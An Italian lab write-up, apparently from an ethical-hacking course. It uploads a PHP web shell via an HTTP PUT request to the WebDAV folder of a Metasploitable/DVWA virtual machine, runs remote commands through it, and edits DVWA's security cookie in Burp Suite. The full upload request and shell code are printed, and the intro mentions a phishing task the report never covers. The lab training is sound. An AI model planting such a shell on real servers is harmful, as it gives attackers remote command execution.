

# EXECUTIVE SUMMARY

Creare uno scenario di una campagna di phishing, scrivendo l'email di phishing e spiegare lo scenario.

## 1. Preparazione dell'Ambiente:

- Configurate la macchina virtuale Metasploitable.
- Configurate la macchina virtuale Kali Linux.
- Verificate la connessione tra le due macchine con un semplice ping.

## 2. Caricamento della Shell PHP:

- Accedete alla DVWA sulla macchina Metasploitable tramite il browser della Kali Linux.
- Navigare alla sezione File Upload della DVWA.
- Create una semplice shell PHP (ad esempio, shell.php) e caricatela attraverso il modulo di upload.
- Verificate che il file sia stato caricato con successo.

## 3. Esecuzione della Shell PHP:

- Accedete alla shell caricata tramite il browser.
- Utilizzate la shell per eseguire comandi da remoto sulla macchina Metasploitable.

## 4. Intercettazione e Analisi con BurpSuite:

- Avviate BurpSuite e configurate il browser per utilizzare Burp come proxy.
- Intercettate le richieste HTTP/HTTPS effettuate durante il processo di upload e di esecuzione della shell.
- Analizzate le richieste e le risposte per comprendere il funzionamento e individuare eventuali vulnerabilità.

# PREPARAZIONE AMBIENTE

Entrambe le macchine Kali e Metasploitable sono collegate tramite NatNetwork di Virtualbox il quale fa da server DHCP e permette di navigare su internet.

Meta Eth:

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet HWaddr 08:00:27:59:35:43
          inet addr:10.0.2.3  Bcast:10.0.2.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe59:3543/64 Scope:Link
                  UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
                  RX packets:865 errors:0 dropped:0 overruns:0 frame:0
                  TX packets:775 errors:0 dropped:0 overruns:0 carrier:0
                  collisions:0 txqueuelen:1000
                  RX bytes:169338 (165.3 KB)  TX bytes:478044 (466.8 KB)
          Base address:0xd010 Memory:f0200000-f0220000
```

Kali Eth:

```
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
      inet6 fe80::9ecc:d189:8258:4ad0  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:1f:b7:23  txqueuelen 1000  (Ethernet)
        RX packets 14159  bytes 14202934 (13.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6692  bytes 1697697 (1.6 MiB)
        TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

## CARICAMENTO DELLA SHELL PHP

Exploit PUT: La richiesta va creata come fa figura a destra. Deve contenere il path dove vogliamo caricare la shell. Il content type. E la lunghezza in byte.

Nel corpo della richiesta, inoltre, ci sarà il nostro payload.

Codice php evidenziato in verde.

```
(kali㉿kali)-[~]
└─$ nc 10.0.2.3 80
PUT /dav/malware.php HTTP/1.1
Host: 10.0.2.3
Content-Length: 170
_____
<?php
if (isset($_GET['cmd'])) {
    $cmd=$_GET['cmd'];
    echo "<pre>", shell_exec($cmd), "</pre>";
}
?>
<h1>Benvenuti malware.com</h1>
<p>spero vi siate trovati bene</p>
HTTP/1.1 201 Created
Date: Mon, 12 Jan 2026 17:24:36 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Location: http://10.0.2.3/dav/malware.php
Content-Length: 269
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>201 Created</title>
</head><body>
<h1>Created</h1>
<p>Resource /dav/malware.php has been created.</p>
<br />
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at 10.0.2.3 Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<br />
<address>Apache/2.2.8 (Ubuntu) DAV/2 Server at metasploitable.localdomain Port 80</address>
</body></html>
```

## ESECUZIONE DELLA SHELL PHP

Dimostrazione esecuzione di comandi linux

The screenshot shows a web browser window with the URL `10.0.2.3/dav/malware.php`. The page content is a simple HTML response:

**Benvenuti malware.com**

spero vi siate trova

Esecuzione del comando `ls /`

The screenshot shows a web browser window with the URL `10.0.2.3/dav/malware.php?cmd=ls%20/`. The page content displays the output of the `ls /` command:

```
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz
```

**Benvenuti malware.com**

spero vi siate trova

## INTERCETTAZIONI E ANALISI CON BURPSUITE

Analisi con Buro suite ci e' stata una interferenza nei cookie dove rimaneva salvata la difficolta high ma tramite l'anali con Bupe sono riuscito a modificare i valorie cookies si puo iniettare questo malware anche con le difficolta high e medium bisogna trovare il modo.

The screenshot shows two windows side-by-side. On the left is the Burp Suite interface, specifically the Proxy tab, displaying a POST request to 'http://10.0.2.3/dvwa/security.php'. The request details show various headers and parameters, including 'security=low&seclev\_submit=Submit'. On the right is the DVWA (Damn Vulnerable Web Application) interface, specifically the 'Security' page. This page has a sidebar with options like Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, and SQL Injection (Blind). The main content area shows the current security level is 'low'. A button labeled 'low' is highlighted in green, indicating it was clicked. Below the security level, it says 'PHPIDS' is currently disabled. At the bottom, it shows the user is 'admin' with 'Security Level: low' and 'PHPIDS: disabled'.

# CONCLUSIONE

Obiettivo di questa esercitazione e' stato

- Intercettate e analizzate ogni richiesta HTTP/HTTPS verso la DVWA utilizzando BurpSuite. Familiarizzate con gli strumenti e le tecniche utilizzate dagli Hacker Etici per monitorare e analizzare il traffico web.

